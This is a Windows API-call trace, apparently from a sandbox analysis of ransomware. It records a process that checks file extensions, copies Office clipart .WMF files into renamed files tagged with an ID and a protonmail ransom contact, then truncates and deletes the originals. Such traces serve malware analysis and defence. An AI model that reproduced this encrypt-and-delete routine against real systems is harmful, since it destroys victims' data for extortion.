	[0085.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.549] lstrlenW (lpString=".pdf") returned 4
	[0085.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.549] lstrlenW (lpString=".xls") returned 4
	[0085.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.549] lstrlenW (lpString=".xlsx") returned 5
	[0085.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.549] lstrlenW (lpString=".ppt") returned 4
	[0085.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.549] lstrlenW (lpString=".zip") returned 4
	[0085.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.549] lstrlenW (lpString=".rar") returned 4
	[0085.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.549] lstrlenW (lpString=".bz2") returned 4
	[0085.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.549] lstrlenW (lpString=".7z") returned 3
	[0085.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.550] lstrlenW (lpString=".dbf") returned 4
	[0085.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.550] lstrlenW (lpString=".1cd") returned 4
	[0085.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.550] lstrlenW (lpString=".jpg") returned 4
	[0085.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.550] lstrlenW (lpString=".doc") returned 4
	[0085.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.550] lstrlenW (lpString=".docx") returned 5
	[0085.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.550] lstrlenW (lpString=".pdf") returned 4
	[0085.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.550] lstrlenW (lpString=".xls") returned 4
	[0085.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.550] lstrlenW (lpString=".xlsx") returned 5
	[0085.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.550] lstrlenW (lpString=".ppt") returned 4
	[0085.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.550] lstrlenW (lpString=".zip") returned 4
	[0085.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.550] lstrlenW (lpString=".rar") returned 4
	[0085.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.551] lstrlenW (lpString=".bz2") returned 4
	[0085.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.551] lstrlenW (lpString=".7z") returned 3
	[0085.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.551] lstrlenW (lpString=".dbf") returned 4
	[0085.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.551] lstrlenW (lpString=".1cd") returned 4
	[0085.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0085.551] lstrlenW (lpString=".jpg") returned 4
	[0085.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.551] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.551] lstrlenW (lpString="BL00252_.WMF") returned 12
	[0085.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.552] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4708) returned 1
	[0085.552] CloseHandle (hObject=0x324) returned 1
	[0085.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220
	[0085.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.552] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.552] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0085.553] GetLastError () returned 0x0
	[0085.553] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1264, lpOverlapped=0x0) returned 1
	[0085.555] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1270, lpOverlapped=0x0) returned 1
	[0085.556] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.556] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.556] SetEndOfFile (hFile=0x300) returned 1
	[0085.556] CloseHandle (hObject=0x300) returned 1
	[0085.557] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.557] SetEndOfFile (hFile=0x324) returned 1
	[0085.558] CloseHandle (hObject=0x324) returned 1
	[0085.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1
	[0085.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.559] lstrlenW (lpString=".doc") returned 4
	[0085.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.559] lstrlenW (lpString=".docx") returned 5
	[0085.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.559] lstrlenW (lpString=".pdf") returned 4
	[0085.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.559] lstrlenW (lpString=".xls") returned 4
	[0085.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.559] lstrlenW (lpString=".xlsx") returned 5
	[0085.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.559] lstrlenW (lpString=".ppt") returned 4
	[0085.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.559] lstrlenW (lpString=".zip") returned 4
	[0085.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.559] lstrlenW (lpString=".rar") returned 4
	[0085.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.559] lstrlenW (lpString=".bz2") returned 4
	[0085.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.559] lstrlenW (lpString=".7z") returned 3
	[0085.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.560] lstrlenW (lpString=".dbf") returned 4
	[0085.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.560] lstrlenW (lpString=".1cd") returned 4
	[0085.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.560] lstrlenW (lpString=".jpg") returned 4
	[0085.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.560] lstrlenW (lpString=".doc") returned 4
	[0085.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.560] lstrlenW (lpString=".docx") returned 5
	[0085.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.560] lstrlenW (lpString=".pdf") returned 4
	[0085.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.560] lstrlenW (lpString=".xls") returned 4
	[0085.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.560] lstrlenW (lpString=".xlsx") returned 5
	[0085.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.560] lstrlenW (lpString=".ppt") returned 4
	[0085.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.560] lstrlenW (lpString=".zip") returned 4
	[0085.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.560] lstrlenW (lpString=".rar") returned 4
	[0085.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.560] lstrlenW (lpString=".bz2") returned 4
	[0085.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.561] lstrlenW (lpString=".7z") returned 3
	[0085.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.561] lstrlenW (lpString=".dbf") returned 4
	[0085.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.561] lstrlenW (lpString=".1cd") returned 4
	[0085.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0085.561] lstrlenW (lpString=".jpg") returned 4
	[0085.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.561] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.561] lstrlenW (lpString="BL00254_.WMF") returned 12
	[0085.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.562] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1736) returned 1
	[0085.562] CloseHandle (hObject=0x324) returned 1
	[0085.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220
	[0085.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.563] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.563] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0085.563] GetLastError () returned 0x0
	[0085.563] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x6c8, lpOverlapped=0x0) returned 1
	[0085.565] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6d0, lpOverlapped=0x0) returned 1
	[0085.566] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.566] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.566] SetEndOfFile (hFile=0x300) returned 1
	[0085.566] CloseHandle (hObject=0x300) returned 1
	[0085.567] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.567] SetEndOfFile (hFile=0x324) returned 1
	[0085.569] CloseHandle (hObject=0x324) returned 1
	[0085.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1
	[0085.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.570] lstrlenW (lpString=".doc") returned 4
	[0085.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.570] lstrlenW (lpString=".docx") returned 5
	[0085.570] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.570] lstrlenW (lpString=".pdf") returned 4
	[0085.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.570] lstrlenW (lpString=".xls") returned 4
	[0085.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.570] lstrlenW (lpString=".xlsx") returned 5
	[0085.570] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.570] lstrlenW (lpString=".ppt") returned 4
	[0085.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.570] lstrlenW (lpString=".zip") returned 4
	[0085.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.570] lstrlenW (lpString=".rar") returned 4
	[0085.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.570] lstrlenW (lpString=".bz2") returned 4
	[0085.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.570] lstrlenW (lpString=".7z") returned 3
	[0085.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.570] lstrlenW (lpString=".dbf") returned 4
	[0085.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.571] lstrlenW (lpString=".1cd") returned 4
	[0085.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.571] lstrlenW (lpString=".jpg") returned 4
	[0085.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.571] lstrlenW (lpString=".doc") returned 4
	[0085.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.571] lstrlenW (lpString=".docx") returned 5
	[0085.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.571] lstrlenW (lpString=".pdf") returned 4
	[0085.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.571] lstrlenW (lpString=".xls") returned 4
	[0085.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.571] lstrlenW (lpString=".xlsx") returned 5
	[0085.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.571] lstrlenW (lpString=".ppt") returned 4
	[0085.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.571] lstrlenW (lpString=".zip") returned 4
	[0085.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.571] lstrlenW (lpString=".rar") returned 4
	[0085.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.571] lstrlenW (lpString=".bz2") returned 4
	[0085.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.572] lstrlenW (lpString=".7z") returned 3
	[0085.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.572] lstrlenW (lpString=".dbf") returned 4
	[0085.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.572] lstrlenW (lpString=".1cd") returned 4
	[0085.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0085.572] lstrlenW (lpString=".jpg") returned 4
	[0085.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.572] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.572] lstrlenW (lpString="BL00261_.WMF") returned 12
	[0085.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.572] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12482) returned 1
	[0085.573] CloseHandle (hObject=0x324) returned 1
	[0085.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220
	[0085.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.574] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.574] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0085.574] GetLastError () returned 0x0
	[0085.574] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x30c2, lpOverlapped=0x0) returned 1
	[0085.576] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x30d0, lpOverlapped=0x0) returned 1
	[0085.578] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.578] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.578] SetEndOfFile (hFile=0x300) returned 1
	[0085.578] CloseHandle (hObject=0x300) returned 1
	[0085.580] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.580] SetEndOfFile (hFile=0x324) returned 1
	[0085.581] CloseHandle (hObject=0x324) returned 1
	[0085.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1
	[0085.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0085.582] lstrlenW (lpString=".doc") returned 4
